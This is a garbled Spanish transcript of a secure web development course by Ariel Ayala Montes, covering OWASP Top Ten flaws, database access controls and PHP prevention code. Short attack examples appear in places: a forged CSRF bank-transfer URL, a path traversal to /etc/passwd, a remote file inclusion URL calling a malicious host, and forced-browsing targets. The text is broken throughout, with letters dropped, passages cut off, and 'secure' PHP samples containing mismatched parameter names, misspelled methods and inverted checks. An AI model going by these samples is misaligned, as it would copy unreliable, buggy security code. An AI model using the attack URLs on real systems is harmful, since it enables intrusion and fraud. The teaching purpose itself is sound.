Desarrollo Seguro de Aplicacion

91

description

Desarrollo Seguro de Aplicaciones Web

Transcript of Desarrollo Seguro de Aplicacion

  • Desarrollo Seguro deAplicaciones Web

    Ariel Ayala Montes

  • PrevenirloConfiguraciones Incorrectas de Seguridad

    EjemploPrevenirlo

    Almacenamiento Criptogrfico InseguroEjemploPrevenirlo

    Fallo de Restriccin de Acceso a URLEjemplo

    PrevenirloInsuficiente Proteccin en el Transport Layer

    Ejemplo

    PrevenirloRedireccin Incorrecta

    EjemploPrevenirlo

    Estudio de VulnerabilidadesPrlogoSistema de gestin de base en MySQL

    SQLPHP

    Debilidades en sistemas webIdentificar Posibles AtaquesUn prototipo para ex perimentar

    Debilidades en la validacin de credencialesComandos de inyeccin de SQL y retornos

    Verificar columnas de una tablaVisualizar datos con la funcin UNIONLa versin del SGBD MySQL

    Como obtener el nombre de los schemas, tablas y columnashacer un desarrollo seguro

    Conclusin

  • Referencia BibliogrficaAcerca del Autor

  • arquitectura.Para alcanzar tales objetivos, se utiliz un enfoque cualitativo en el desarrollo de estelibro, el objetivo es comprender ms profundamente los fenmenos estudiados einterpretarlos de acuerdo a una determinada perspectiva sin tener la preocupacin en larepresentatividad numrica y si en las relaciones de causa y efecto.En lo que se refiere al mtodo de enfoque utilizado, se busc adoptar el raciociniohipottico-deductivo ya que se busc construir y probar posibles respuestas osoluciones para problemas recurrentes de hechos o conocimientos tericos, algodirectamente relacionado con la ex perimentacin.En cuanto al objetivo de este libro puede ser clasificado como analtico ya que se tratade un tipo de estudio que tiene como objetivo analizar una situacin dada (objeto deestudio), mediante procedimientos de descomposicin del todo estudiado, teniendocomo objetivo no slo conocer sus elementos constituyentes, sino sobre como todosestos se articulan entre s. En este caso, el objeto de estudio son las aplicaciones Web.En relacin a la participacin del investigador, esta puede ser clasificada comoinvestiga-accin, ya que en esta el investigador desarrolla acciones para resolver losproblemas fundamentales identificados, desempeando un papel activo en laequiparacin de los problemas encontrados, no slo hace la investigacin, sino quebusca desencadenar acciones y evaluarlas.Sobre los mtodos utilizados para recolectar los datos, se utiliz la investigacinbibliogrfica y el anlisis documental en el sentido de buscar fuentes de informacinacerca de la arquitectura de las aplicaciones Web, as como de las vulnerabilidades queestn presentes en esas aplicaciones de manera ms habitual. Y se puede decir queeste libro constituye un estudio de caso ya que este mtodo consiste en el estudio dedeterminados individuos, profesiones, condiciones, instituciones, grupos ocomunidades, con la finalidad de obtener generalizaciones. En el caso de estainvestigacin, se estudian las condiciones de vulnerabilidad de las aplicaciones Web.El presente libro est organizado en 10 captulos, uno para cada vulnerabilidad delproyecto TOP TEN de la OWASP de 2014.El captulo sobre la Inyeccin tratar sobre la Inyeccin de instrucciones SQL, mtodocon el cual un usuario mal intencionado puede ejecutar cdigos en el lenguaje SQLdamnificando la base de datos y comprometiendo, de esa forma, la aplicacin web.El captulo sobre el Cross-Web Scripting (XSS) tratar sobre las 3 formas de XSS:reflejado, almacenado y basado en el modelo DOM. Ambos permiten al atacante laejecucin de scripts en el navegador de la vctima con la intencin de "robar" la sesinde navegacin, modificar webs de internet o, incluso, redireccionar a los usuarios haciawebs maliciosos.El captulo sobre autenticacin y gestin de sesiones tratar sobre la quiebra deautenticacin que ex plora las funciones de autenticacin y la gestin de sesiones.Cuando esas funciones se implementan de forma incorrecta, permiten al atacante asumirla identidad de otro usuario debido al descubrimiento de las contraseas, claves eidentificadores de sesin.El captulo sobre las referencias directas a objetos inseguras veremos como laex plotacin de esa vulnerabilidad permite al atacante acceder a informaciones no-autorizadas atacando, de esa forma, la confidencialidad de la informacin.El captulo sobre Cross-Web Request Forgery (CSRF) tratar sobre el CSRF, tal fallapermite al atacante forzar el navegador de la vctima para crear peticiones HTTPforzadas, en la cual la aplicacin web acepta como peticiones legtimas oriundas de la

  • vctima.El captulo sobre errores en la configuracin de seguridad -Security Misconfiguration- setratar sobre la vulnerabilidad de Configuracin Incorrecta de Seguridad. La seguridad dela aplicacin depende, tambin, de la ex istencia de configuraciones adecuadas ybuenas prcticas en el mantenimiento del entorno en el cual la aplicacin web estaralojada.El captulo sobre almacenamiento criptogrfico inseguro se tratar del asuntocriptografa. El punto clave de esa vulnerabilidad (almacenamiento criptogrficoinseguro) est, no solamente en los datos encriptados, sino en las claves decriptografa, ya que comnmente estas apenas se protegen.El captulo sobre los fallos en las restricciones de acceso, veremos como esconder unaURL y validar slo del lado del cliente son errores comunes que nos encontramos en lasaplicaciones web, no obstante, la ex plotacin de esa vulnerabilidad se considera denivel fcil. La aplicacin no puede permitir que se accedan a las pginas sin la debidaautenticacin.El captulo sobre la insuficiente proteccin de la capa de transporte y en cuanto a lacorrecta utilizacin del protocolo SSL, en otras palabras, ayuda en la correctaimplementacin de un certificado digital. La ex plotacin de esa vulnerabilidad,normalmente, se realiza a travs del monitoreo de la red.El captulo sobre los redireccionamientos invlidos se tratar como aprovechndose devalidaciones inadecuadas, los atacantes redireccionan a la vctima hacia las websmaliciosas (caracterizndose por realizar ataques de phishing o de malware) o seaprovechan del enrutamiento para acceder a pginas no autorizadas.

  • GESTIONAR EL ACCESOEl Administrador de la Base de Datos (DBA) es el responsable superior de declarar lasreglas dentro del SGBD. Este es el responsable de conceder o eliminar privilegios, crearo ex cluir usuarios, y atribuir de un nivel de seguridad a los usuarios del sistema, deacuerdo con la poltica de la empresa.

  • GESTIONAR INFERENCIAEs un mecanismo de seguridad para base de datos estadsticas que trabaja protegiendoinformaciones estadsticas de un individuo o de un grupo. Las Bases de datosestadsticas se usan principalmente para producir estadsticas sobre varias poblaciones(por ejemplo). La base de datos puede contener informaciones confidenciales sobreindividuos. Los usuarios tienen permiso slo para recuperar informaciones estadsticassobre poblaciones y no para recuperar datos individuales, como, por ejemplo, la renta deuna persona especfica.

  • CONTROL DE FLUJO DE LA INFORMACINEs un mecanismo que previene que las informaciones fluyan por canales secretos yviolen la poltica de seguridad al alcanzar usuarios no autorizados. Este regula ladistribucin o flujo de informacin entre objetos accesibles. Un flujo entre el objeto A y elobjeto B sucede cuando un programa lee valores de A y escribe valores en B. Loscontroles de flujo tienen la finalidad de verificar si las informaciones contenidas enalgunos objetos no fluyen ex plcita o implcitamente hacia objetos de menor proteccin.De esa manera, un usuario no puede obtener indirectamente en B aquello que este oesta no pueda obtener directamente de A.

  • CODIFICACIN DE DATOSEs una medida de control final, utilizada para proteger datos sigilosos que se transmitenpor medio de algn tipo de red de comunicacin. Esta tambin se puede usar paraofrecer proteccin adicional para que partes confidenciales de una base de datos nosean accedidas por usuarios no autorizados. Para eso, los datos estn codificados atravs de la utilizacin de algn algoritmo de codificacin. As, un usuario no autorizadotendr una gran dificultad para descifrarlos, pero los usuarios autorizados recibirnclaves para descifrar esos datos. La criptografa permite disfrazar el mensaje para que,an con el desvo de la transmisin, el mensaje no sea revelado.

  • GESTIONAR LOS USUARIOSComprende a los usuarios y al esquema de la base de datos donde cada base de datostiene una lista de nombres de usuarios. Para acceder a una base de datos, un usuariodebe usar una aplicacin de ese tipo e intentar una conex in con un nombre de usuariovalido. Cada nombre tiene una contrasea asociada para evitar el uso sin autorizacin.Deben estar implementados diferentes perfiles de usuario para diferentes tareas en laBase de Datos, con el enfoque de que cada aplicacin/usuario tiene su necesidad deacceso. Ex iste an la posibilidad de proteger los perfiles con contrasea, lo que es unaex celente medida. Adems de esas medidas, el uso de cotas aumenta la restriccin deespacio en el disco que ser utilizado por los usuarios/aplicativos.

  • DOMINIOS DE SEGURIDAD PARA USUARIOSDonde cada usuario tiene un dominio de seguridad, un conjunto de propiedades quedeterminan cosas como acciones (privilegios y roles) disponibles para el usuario; cotizalos tablespaces (espacio disponible en disco) del usuario; limita los recursos desistema del usuario. Las tablas (tablespaces) del sistema, como system, deben estarprotegidas de accesos de usuarios diferentes de los usuarios del sistema. La liberacinde escritura y modificacin de datos en tales tablas es muy comn en entornos deprueba, donde los programadores y DBAs toman tal actitud para evitar errores deaplicacin por falta de privilegios. Sin embargo, en entornos de produccin, tal medidaes totalmente desaconsejable.

  • AUTORIDADLas autoridades suministran un mtodo para agrupar privilegios y controlar el nivel deacceso de los administradores y operadores de la base de datos en relacin almantenimiento y operaciones permitidas. Las especificaciones de la base de datosestn almacenadas en catlogos de la propia base de datos. Las autoridades delsistema estn asociadas a miembros de grupos y estn almacenados en el archivo deconfiguracin administrativa de la base de datos. Este archivo define las concesionesde acceso y lo que podr ser ejecutado de acuerdo con cada grupo.

  • CONTROLAR EL ACCESO Y SEGURIDAD PARA MULTI-NIVELEn este mtodo, el usuario no tiene un trmino medio, o tiene o no tiene privilegios,siendo utilizado normalmente en BD que clasifican datos de usuarios, donde esnecesario un nivel de ms de seguridad. La mayora de los SGBDs no ofrecen ese tipode control de acceso obligatorio, usando los controles discrecionales que hemos vistoanteriormente. Normalmente se utilizan en sistemas gubernamentales, militares o deinteligencia, as como industriales y corporativas.Las clases de seguridad tpicas son altamente sigilosas (top secret, TS), secreta(secret, S), confidenciales (confidential, C) y no Clasificada (unclassified, U), en el queTS es el nivel ms alto y U es el ms bajo. De una forma general, los mecanismos decontrol de acceso obligatorio imponen seguridad multinivel, ya queex igen laclasificacin de usuarios y de valores de datos en clases de seguridad e imponen lasreglas que prohben el flujo de informacin a partir de los niveles de seguridad msaltos hacia los ms bajos.

  • REALIZAR CONTROL DE ACCESO BASNDOSE EN ROLESEs un enfoque para restringir el acceso a usuarios autorizados y una alternativa a lossistemas de controles de acceso del tipo MAC y DAC. El concepto de control de accesobasado en roles surgi con los primeros sistemas computacionales multiusuariosinteractivos. La idea central del RBAC es que los permisos de acceso estn asociadosa roles, y estos roles estn asociados a usuarios. Los roles son creados de acuerdo conlos diferentes cargos en una organizacin, y los usuarios estn asociados a roles deacuerdo a sus responsabilidades y cualificaciones. Se pueden designar variosindividuos a un mismo rol. Los privilegios de seguridad comunes a un rol se concedenal nombre de este, y cualquier individuo designado para ese rol automticamente tendresos privilegios concedidos. Los usuarios pueden moverse fcilmente de un rol a otro.Los cambios en los entornos computacionales, como la instalacin de nuevos sistemasy eliminacin de aplicaciones antiguas, modifican slo el conjunto de permisosatribuidos a los diferentes roles, sin envolver directamente el conjunto de usuarios. Laseparacin de tareas es un requisito importante en diversos SGDBs. Es necesaria paraimpedir que un usuario realice solo el trabajo que requiere la implicacin de otraspersonas. La ex clusin mutua de roles es un mtodo que puede ser implementado conx ito. Otro aspecto relevante en los sistemas RBAC son las restricciones temporalesposibles que pueden ex istir en los roles, como el tiempo y la duracin de lasactivaciones de roles y el disparo temporizado de un rol por una activacin de otro rol. Eluso de un modelo RBAC es un objetivo altamente deseado para solucionar losprincipales requisitos de seguridad de las aplicaciones basadas en web.

  • CONTROLAR EL ACCESO UTILIZANDO TRIGGERSCon la utilizacin de los Triggers es posible crear mecanismos de seguridad mscomplejos que pueden ser disparados cada vez que se llama un evento. El comandoInsert en la tabla es un ejemplo de un evento que puede ser usado para disparar unTriggers, adems de eso, los mismos pueden ser disparados antes o despus delcomando especificado con el objetivo de proveer mayor rigor en el control de laseguridad. Si el comando ejecutado por el usuario no es validado por los Triggers, saltaun error en el cuerpo del propio Trigger para impedir que la tabla sea modificadaindebidamente.

  • CONTROLAR EL ACCESO HACIENDO USO DE VIEWSLas views constituyen otro mtodo de control de acceso, normalmente son utilizadaspara restringir el acceso directo a los datos. Con la view es posible permitir el acceso deun usuario concediendo privilegios, ocultar lneas y columnas de informacionesconfidenciales o restringir a los residentes en la tabla original de las indicaciones delSQL. Los privilegios y concesiones estn definidos solamente en la view y no afectan ala tabla base, estando el acceso de los usuarios delimitado por la view, la cual segenera creando un subconjunto de datos en la tabla referenciada. La opcin WithVerification provee mayor seguridad porque no permite al usuario modificar las lneas dela tabla sin tener los privilegios de lectura dentro de la view.

  • try {$dbh = new PDO($dsn, $user, $password);

    } catch (PDOEx ception $y) {$log = $y->getMessage();

    # grabar el log}$login = $_POST['login'];

    $contrasenia = $_POST['contrasenia'];$sth = $dbh->prepare("SELECT * FROM usuarios ".

    "WHERE login = login AND contrasenia = :contrasenia");$sth->bindParam(':login', $login);$sth->bindParam(':contasenia', $contrasenia);

    $sth->ejecute();if( $sth->rowCount() )

    echo "resultado: true";else

    echo "resultado: false";La segunda forma, stored procedures (SP), son procedimientos previamentealmacenados en el Sistema de Gestin de Bases de Datos. Su funcionamiento essimilar a las funciones en un lenguaje de programacin. Los Store Procedures puedenrecibir o no parmetros y pueden retornar o no algn valor. La inconveniencia de eseenfoque es que hace que la aplicacin sea poco portable, ya que los diferentesSistemas de Gestin de Bases de Datos utilizan diferentes implementaciones de StoreProcedures, es decir, los Store Procedures que funcionan en MYSQL, por ejemplo, puedeque no funcionen en otro Sistema de Gestin de Bases de Datos y viceversa.Las operaciones con Store Procedures, por estar previamente elaboradas, no ejecutarnaquello para lo que estas no fueron diseadas para ejecutar garantizando as laintegridad de la declaracin SQL.En el cdigo que vemos a continuacin, entre las lneas 1 y 3 el cdigo hace laconex in con la base de datos a travs del driver mysqli (conjunto de cdigo con elobjetivo de realizar y gestionar la conex in entre el cdigo fuente y el Sistema deGestin de Bases de Datos). Las lneas 6 y 7 reciben los datos provenientes delformulario. Entre las lneas 8 y 9 se crea un array en la variable $query donde el ndice 0(cero) contiene el comando SQL que hace la "llamada" al Store Procedure y el ndice 1recupera el valor devuelto por el Store Procedure. La lnea 11 ejecuta el comando SQLdel ndice 0 (cero). La lnea 12 ejecuta el comando SQL con el ndice 1 y guarda suresultado en la variable $res. La lnea 13 slo transforma el resultado de la consulta enun objeto. Entre las lneas 14 y 18 comprobamos el resultado de la consulta.$mysqli = new mysqli("localhost", "desarrollador", "clave1234", "bbdd_prueba");

  • if (mysqli_connect_errno()) {$log = "Error en la conex in:". mysqli_connect_error();

    # grabe log}

    $login = $_POST['login'];$contrasenia = $_POST[contrasenia];$query = array();

    $query[] = "CALL testarLogin(@valor, " $login."', " $contrasenia."')";$query[] = "SELECT @valor";

    $mysqli->query($query[0]);$res = $mysqli->query($query[1]);$valor = $res->fetch_object();

    $nombre = "@valor";if( $valor->$nombre )

    echo "resultado: true";else

    echo "resultado: false";$mysqli->close();?>

    El Procedimiento Almacenado que usamos es el que vemos a continuacin.CREATE PROCEDURE testearLogin(

    OUT cuant INT,N paran1 VARCHAR(200),N paran2 VARCHAR(20)

    )BEG N

    SELECT COUNT(*) INTO quant FROM usuarios WHERE login = paran1 ANDcontrasenia = param2;END #La tercera y ltima forma, codificacin de salida de caracteres, tambin conocida como"escapar caracteres", es utilizar determinada funcin con el objetivo de codificar lasalida de caracteres indeseados, en el caso del '(aspa simple), '' (aspas dobles), \(barras), \n (rotura de lnea) y \r (retorno de carro). Ex isten varias funciones con eseobjetivo y tambin pueden ser aplicados diferentes enfoques para la codificacin de

  • salida de caracteres. Wichers (2011) Sugiere que la funcin nativa del Sistema deGestin de Bases de Datos Mysql mysql_real_escape_string() sea utilizada para lacodificacin de caracteres. A continuacin veremos el uso de esa funcin implementadaen el cdigo de abajo.$link = mysql_connect('localhost', 'desarrollador', 'clave1234');

    mysql_select_db("prueba");if ( $link) {die('Fallo en la conex in!');

    }$login = $_POST['login'];

    $contrasenia = $_POST[contrasenia];$login = mysql_real_escape_string($login, $link);$contrasenia = mysql_real_escape_string($contrasenia, $link);

    $sql = "SELECT * FROM usuarios WHERE login = '$login' AND sea = $contrasenia";$result = mysql_query($sql);

    if( mysql_en un_rows($result) == 1 ){echo "reusltado: true";}else{

    echo "reusltado: false";}

    Observando el cdigo se nota que entre la lnea 1 y 4 se realiza la conex in con el basede datos se realiza a travs del driver mysql. Las lneas 6 y 7 reciben los datos delformulario. Las lneas 8 y 9 hacen el trabajo de codificacin de salida de los caracteresutilizan la funcin mysql_real_escape_string(). La lnea 10 monta la declaracin SQL deforma dinmica, sin embargo de forma segura ya que se ha realizado mediante eltratamiento de datos adecuado. La lnea 11 ejecuta la declaracin SQL y entre las lneas12 y 15 se realiza la comprobacin del resultado.

  • La regla nmero 3 trata los datos que son introducidos como parmetros en funcionesJavaScript. Toda funcin que utilice parmetros, atribucin a las variables yprincipalmente tratadores de eventos deben tener los datos tratados. La regla 3 se ilustraen el trozo de cdigo HTML abajo.alert('...NO COLOCAR DATOS INSEGUROS AQU...')x ='.. NO COLOCAR DATOS NSEGUROS AQU...'
  • >encodeForCSS($dato_inseguro) );

    $dato_seguro = $ESAPI->encoder->encodeForJs( $ESAPI->encoder->encodeForURL($dato_inseguro) );

  • EJEMPLOEste tipo de vulnerabilidad no permite que pueda ser usado un nico cdigo fuente comoejemplo, ya que el mismo es particular en cada aplicacin web. De la misma forma suprevencin no se hace en un slo cdigo o de una nica forma.Cuando los procesos de ex piracin de la sesin no estn implementados de formaadecuada el sistema es hace vulnerable, por ejemplo, el usuario utiliza un ordenadorpblico para acceder a un sistema web, al trmino de su utilizacin este en vez deseleccionar la opcin de "logout" para salir de la sesin, simplemente cierra la ventanadel navegador web y se va. Un atacante puede utilizar el mismo navegador web unahora ms tarde y aun as la sesin original contina activa y debidamente autenticada.Otro ejemplo es cuando la aplicacin web soporta la reescritura de una URL y colocalos identificadores de sesin directamente en la URL. Un usuario autenticado podraquerer que sus amigos supieran sobre una venta. Este encamina por e-mail la URL sinsaber que el identificador de la sesin acompaa la URL. Cuando uno de sus amigosaccede a la URL este no slo usar el identificador de sesin sino tambin los datospertenecientes a su cuenta de acceso, como por ejemplo, un nmero de tarjeta decrdito asociado a la sesin.Un atacante ms ex perto, al darse que el sistema le pide responder a una preguntacomo por ejemplo, "Cul es su color favorito?", podr recuperar la contrasea deacceso utilizando una aplicacin para aplicar un ataque del tipo "task force" hasta quesea descubierto el color correcto que satisfaga la pregunta. La aplicacin de "task force"e configura para realizar peticiones subsecuentes y en cada una de estas se probarcon un color, el color correcto puede verse por la respuesta del encabezado HTTP de laaplicacin ya que cuando el color es errneo enva una respuesta negativa y cuando elcolor es correcto enva una respuesta afirmativa.

  • respuestas, reseteo de contrasea), ya que estas credenciales son comocontraseas, nombres de usuarios y tokens. Utilice el one-way hasf en lasrespuestas para prevenir ataques en los cuales la informacin pueda serdescubierta.

    10. No ex ponga ningn identificador de sesin o cualquier parte vlida de lascredenciales en las URLs y logs, no regrabe o almacene informaciones decontraseas de usuarios en logs.

    11. Verifique la contrasea antigua del usuario cuando este desee cambiar lacontrasea.

    12. No confe en las credenciales falsificables como forma de autenticacin,como direcciones P o mscaras de red, direccin de DNS o verificacinreversa de DNS, encabezados de origen o similares.

    13. Est atento cuando enve informacin secreta a direcciones de e-mail comoun mecanismo de reset de password. Use nmeros aleatorios limited-time-only para resetear el acceso y enve un e-mail de retorno para que lacontrasea sea reconfigurada. Procure que cuando permita a los usuariosregistrados cambiar sus direcciones de e-mail, enviarle un mensaje al e-mailanterior antes de efectuar el cambio.

  • EJEMPLOEl atacante accede a la pgina de registro de determinado cliente con la clave deidentificacin nmero 1015, por ejemplo. Este percibe que el parmetro que recupera elcliente de la base de datos est siendo enviado mediante el mtodo post y se llamaidCliente. La clave de registro de la tabla clientes es del tipo numrica y secuencial,entonces, el atacante percibe que si cambia el parmetro de 1015 a 1014 el sistemadevolver el registro del cliente con la clave nmero 1014. El atacante continaprobando otros valores, los que coincidan con los de la tabla clientes de la aplicacinmostrar los registros, indebidamente. El cdigo de abajo ilustra una aplicacinvulnerable. Esto es slo un trozo de cdigo, las dems partes fueron eliminadas parasimplificar la comprensin. La lnea 2 recibe los datos, en este caso la clave de cadaregistro de cliente. Las lneas 3, 4 y 5 montan la instruccin SQL. Note que la aplicacinest protegida contra la Inyeccin, pero no est, necesariamente, protegida contra lasReferencias Inseguras Directas a Objetos.
  • El atacante podra modificar el parmetro para, por ejemplo, acceder a la ruta/etc/passwd y obtener as acceso al archivo de usuarios del sistema operativo Linux ,como podemos ver en el cdigo de abajo.

  • $arraE_idiomas = array("en", "fr");

    $idioma_sospechoso = $_REQUEST['idioma'];$idioma_seguro = "";

    if( preg_match("/ [^0-9]{1}$/", $idioma_sospechoso) ){ if( in_array($idioma_sosopechoso, $arraE_idiomas) ){

    $idioma_seguro = $idioma_sospecho." php";

    require $idioma; # resto del cdigo

    }else{ # registrar posible tentativa de ataque

    }}else{

    # registrar posible tentativa de ataque}?>

  • EJEMPLOUna transferencia bancaria se efecta por el scritp php denominado transferencia php.Ese script est almacenado en el siguiente sitio: http://wwww.mipagina.com/app/ yacepta como entrada dos variables (total y cuentaDestino) que son enviadas por elformulario web a travs del mtodo get. El objetivo del script es transferir, de la cuentacorriente de la vctima que est logueada en el sistema el valor de la variable total haciala cuenta registrada en la variable cuentaDestino. El cdigo HTML de abajo ilustra elformulario original que enva los datos hacia el script encargado de aplicar la accin.Note que el formulario utiliza del mtodo get lo que facilita la ex plotacin del CSRF y,note tambin la ausencia de un identificador nico e imprevisible.

    Introduzca el valor que desea transferir:

    Introduzca el o nmero de la cuenta para la transferencia:

    El cdigo siguiente es responsable de recibir los datos provenientes del formulario y deefectuar la operacin de transaccin entre las cuentas. La vulnerabilidad se encuentraen la lnea 2 que confa slo en la cookie de identificacin, es decir, estando el usuariologueado la peticin podr venir de cualquier parte y ser ejecutada como una peticinautntica. La lnea 2 recupera, a travs del array $_COOK E la cookie denominadacliente_autenticado. Se utiliza la funcin isset() que chequea si una variable se hainicializado devolviendo true en caso positivo y false en caso negativo. En la lnea 2, siel retorno de la funcin isset() es true el cdigo que efecta la transaccin se ejecutar.Las lneas 3 y 4 son hipotticas y por esta razn estn comentadas (no surten efectoalguno), estas slo ilustran como sera la operacin de transaccin entre las cuentas.

    El atacante, conociendo los detalles de la aplicacin, podra modificar y enviar la url enel cuerpo de un e-mail a una vctima. El cdigo de abajo demuestra como la url puedeser modificada para ejecutar la operacin indebida.http://www.mipaginaweb.com/app/transferencia.php?

  • total=1500&cuentaDestino=1234567890El atacante inserta el contenido malicioso en una tag img conocida como imagen debyte cero, vea el cdigo siguiente. Siendo la tag de imagen incluida en el e-mail, lavctima ver slo una pequea caja que indica que el navegador no pudo procesar laimagen. Sin embargo, el navegador contina para enviar la solicitud hacia su destino(www.mipaginaweb.com). De esa forma el cdigo es camuflado y no hay cualquierindicacin visual de que la transferencia haya sucedido.

  • PREVENIRLOLa primera forma de prevenirse contra el XRSF es a travs de Tokens de validacin, setrata de la inclusin de un token que no se transmite va URL (mtodo get) de modo queeste no puede ser "adivinado" por el atacante ni registrado por el navegador. Este puedeser insertado en un campo hidden, como demuestra el cdigo de abajo. La lnea 2 utilizala funcin getCSFRToken() para generar el token que es almacenado en la variable$token. La lnea 3 atribuye el valor de $token en una sesin denominada csrfToken. Esasesin ser utilizada por el script siguiente. Entre la lnea 5 y lnea 16 se renderiza elformulario. Un campo del tipo hidden (invisible slo en el layout de la pgina HTML)almacenar el valor del token que por su parte ser enviado con los dems datos delformulario.

    Introduzca el valor que desea transferir:

    Introduzca el nmero de la cuenta para la transferencia:

  • if ( $_SESSION["csrfToken "] == $_POST["csrfToken"] ){ if( isset($_COOKIE['cliente_autenticado']) ){

    # restar $total de la cuenta corriente del usuario autenticado # sumar $total en la cuenta corriente del nmero $cuentaDestino

    }} else { # el evento debe ser registrado como ataque CSRF potencial en curso

    # el token debe ser reinicializado # la solicitacin debe ser abortada

    }?>

  • EJEMPLOSuponga que la aplicacin utilice el framework como CodeIgniter o Cake, por ejemplo.Se encuentran las vulnerabilidades XSS y se lanza una actualizacin para corregir elproblema. Hasta que el framework no est actualizado, los atacantes podrn ex plorarlas vulnerabilidades de la aplicacin.Otro ejemplo sera cuando los datos y los componentes estndar necesarios para lainstalacin de una aplicacin, base de datos o componente son instaladosautomticamente y no son eliminados. Un atacante podr descubrir las pginas deadministracin en el servidor y autenticarse utilizando el usuario y contrasea estndarde la instalacin y tomar el control sobre la aplicacin y/o servidor.Un ejemplo sera cuando un listado de directorios no fuera desactivado. Un atacante,percibiendo esa vulnerabilidad, podr listar los directorios de la aplicacin y encontrarotras vulnerabilidades.La configuracin y/o codificacin de una aplicacin ex pone, indebidamente, los erroresu otras informaciones sobre el sistema o el servidor. El atacante utilizar esainformacin para encontrar y ex plorar las vulnerabilidades potenciales. El cdigosiguiente ilustra la ex posicin innecesaria de errores. En la lnea 2 se realiza un intentode conex in con la base de datos y el resultado se almacena en la variable $link. Lalnea 3 prueba la variable $link, si el valor es false el script ejecuta la lnea 4 que, por suparte, interrumpe la ejecucin del script a travs de la funcin die(). Esta funcin aceptaun parmetro del tipo string y muestra ese valor en el navegador. En el ejemplo siguienteser enviado al navegador el resultado de la funcin mysql_error().

    Note que la no utilizacin de la funcin die() no solucionara el problema por completo.Si el mdulo de PHP est configurado para mostrar errores, un mensaje como lamostrada en el cdigo de abajo se mostrara a continuacin, entregando, de esa forma,informaciones valiosas al atacante como el servidor y el usuario.Warning mysql_connetc()[function.mysql-connect]: Access denied for user'usuario'@'192.168.0.28'(using password: YES) in /www/html/web/admin.php on line 7

  • PREVENIRLOPara garantizar la prevencin de la aplicacin web contra esta vulnerabilidade esnecesario entender y comprender las configuraciones del mdulo PHP. El captulo deconfiguraciones del proyecto Gua de Desarrollo de la OWASP trae recomendacionesespecficas para cada configuracin del mdulo PHP (OWASP Development Guide:Chapter on Configuration).La directiva register_globals viene con el valor por defecto off (deshabilitado) desde laversin 4.2 5. Esta qued obsoleta a partir de la versin 5.3.0 y fue eliminada en laversin 6.0.0. Esa directiva, cuando est habilitada, crea variables de varios tipos,inclusive variables oriundas de formularios HTML. Eso significa que es posible usarvariables sin saber de dnde vinieron estas. Las variables internas que se definen en elscript se mezclan con los datos enviados por los usuarios. Segn el manual de PHP, ladirectiva en s no es insegura, el uso incorrecto de este si lo es. Segn podemos ver enel cdigo de abajo, en la lnea 2 el resultado de la funcin usuario_autenticado() seprueba. Si es verdadero se atribuye true a la variable $autorizado. En la lnea 6 seprueba el valor de la variable $autorizado, si es verdadero el script sigue su ejecucinnormalmente, creyendo que el usuario fue realmente autenticado.

    Cuando el valor de la directiva register_globals es igual a on (habilitada) la variable$autorizado podra ser manipulada fcilmente. Si modificamos el valor hacia off elcdigo funcionaria correctamente (libre de la vulnerabilidad). Otra forma de arreglar elcdigo sera inicializar la variable antes de su uso, en este caso el cdigo funcionaraindependientemente del estado de register_globals.El safe_mode es un conjunto de restricciones de funciones y realmente puede aumentarla seguridad en un entorno de servidor compartido. Esta fue eliminada en la versin 6.0.0al ser considerado, arquitecturalmente, incorrecto resolver ese problema (servidorescompartidos) en el nivel de mdulo de PHP.La directiva disable_functions permite deshabilitar funciones internas de PHP. Estarecibe una lista de nombres de funciones separadas por comas. Esta no se ve afectadapor la directiva safe_mode y debe estar configurada directamente en el archivo php.inino siendo posible efectuar la configuracin en el archivo httpd.conf.La directiva open_basedir limita los archivos que pueden ser abiertos en el directorioespecificado ni en sus subdirectorios, incluyendo el archivo en s. Esa directiva no seve afectada por el estado del modo seguro (safe mode), est este habilitado o no.La directiva allowurlfopen activa el dispositivo URL-aware fopen wrappers que permite

  • el acceso a objetos URL como archivos. Si esta directiva est habilitada el atacantepodr ejecutar archivos ex ternos como se demuestra en el cdigo de abajo.http://www.web-vulnerable.com/index php?pg=http://web-maliciosa.com/atacar.php

    Con la directiva error_reporting es posible determinar que errores, mensajes y avisosregistrar el PHP. La recomendacin es E_ALL, de esa forma, todos los errores ymensajes de alerta (ex cepto los de nivel E_SRICT) sern reportados.La directiva log_errors se refiere al nombre del archivo donde los errores del script sernlogueados.La directiva display_errors determina si los errores sern o no mostrados en tiempo deejecucin. La recomendacin es off (deshabilitado) para un entorno de produccin y on(habilitado) para el entorno de desarrollo.La directiva magicquotesgpc define el estado para las aspas para las operaciones deltipo GPC (get, post y cookie). Cuando las aspas mgicas estn en on, todas las ' (aspassimples), " (aspas dobles), \ (barras invertidas) y NULLs sern codificados (escapados)con una barra invertida automticamente. La recomendacin de la OWASP es que suvalor sea on (habilitado), sin embargo esta funcin qued obsoleta en la versin 5.3.0 yfue eliminada de la versin 6.0.La directiva postmax size determina el valor mx imo de datos que podr ser enviadohacia el servidor. Debe ser mantenido el valor mnimo. Por defecto est 8mb.La directiva uploadmax filesize define el tamao mx imo de un archivo que se enva alservidor, medido en bytes, debe ser mantenido el valor mnimo.La directiva memory_limit configura el tamao mx imo de memoria utilizada por unscript. Esto evita, por ejemplo, que un script malicioso consuma toda memoriadisponible en un servidor.

  • EJEMPLOUna aplicacin cifra los datos de las tarjetas de crditos en una base de datos paraprevenir que los mismos sean ex puestos a usuarios finales. Sin embargo, la base dedatos est configurada para descifrar automticamente consultas en las columnas detarjetas de crdito, permitiendo que un fallo de inyeccin por SQL pueda listar todas lastarjetas de crdito en claro. El sistema debera haber sido configurado para permitir queslo las aplicaciones de back-end pudieran descifrar esos datos y no las aplicacionesweb de front-end.

  • EJEMPLOEl principal mtodo de ataque se llama de "navegacin forzada" (forced browsing), lacual envuelve tcnicas de adivinacin de links ("guessing") y fuerza bruta (brute force)para hallar pginas desprotegidas. El atacante puede forzar la navegacin de las URLsobjetivo. Las URL's listadas en el cdigo de abajo ejemplifican reas del sistema querequieren autenticacin.http://www.web-app-vulnerable.com/app/getAppInfo

    http://www.web-app-vulnerable.com/app/admin_getAppifoLas reas (carpetas) listadas abajo son ejemplos de carpetas del Sistema OperativoLinux . Son muy conocidas y por esa razn pueden ser objetivos fciles./system/

    /password/logs/

    /admin//test/Este tipo de ataque tambin es conocido como "path transversal", este ataca lascarpetas del sistema operativo a travs del sistema web vulnerable. El cdigo siguienteejemplifica un sistema vulnerable. La lnea 2 almacena en la variable $template el valorreferente al templete estndar page.php. La lnea 3 y 4 recibe los datos de la cookietemplate, este parmetro, accesible al usuario y que puede ser manipulado por elatacante. La lnea 5 ex presa la vulnerabilidad, esta concatena el valor del parmetro(malicioso) y busca el archivo en el disco rgido.

